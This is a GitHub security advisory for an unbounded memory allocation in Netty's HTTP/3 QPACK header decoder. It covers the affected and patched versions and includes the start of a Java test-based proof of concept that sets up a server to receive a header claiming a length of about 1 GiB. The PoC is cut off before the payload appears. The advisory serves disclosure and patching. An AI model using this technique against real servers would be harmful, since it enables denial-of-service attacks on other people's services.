GitHub Security Advisory: GHSA-2c5c-chwr-9hqw
Package: io.netty:netty-codec-http3 (MAVEN)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling, CWE-789: Memory Allocation with Excessive Size Value
Vulnerable versions: <= 4.2.12.Final
Patched in: 4.2.13.Final

Summary: Netty HTTP/3 QPACK literal unbounded allocation

Details:
### Summary
When Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).

### Details
When decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length <= in.readableBytes()` before `new byte[length]`.

### PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.

```java
    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            AtomicReference<Throwable> serverErrors = new AtomicReference<>();
            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverErrors.set(cause.getCause());
                                            } else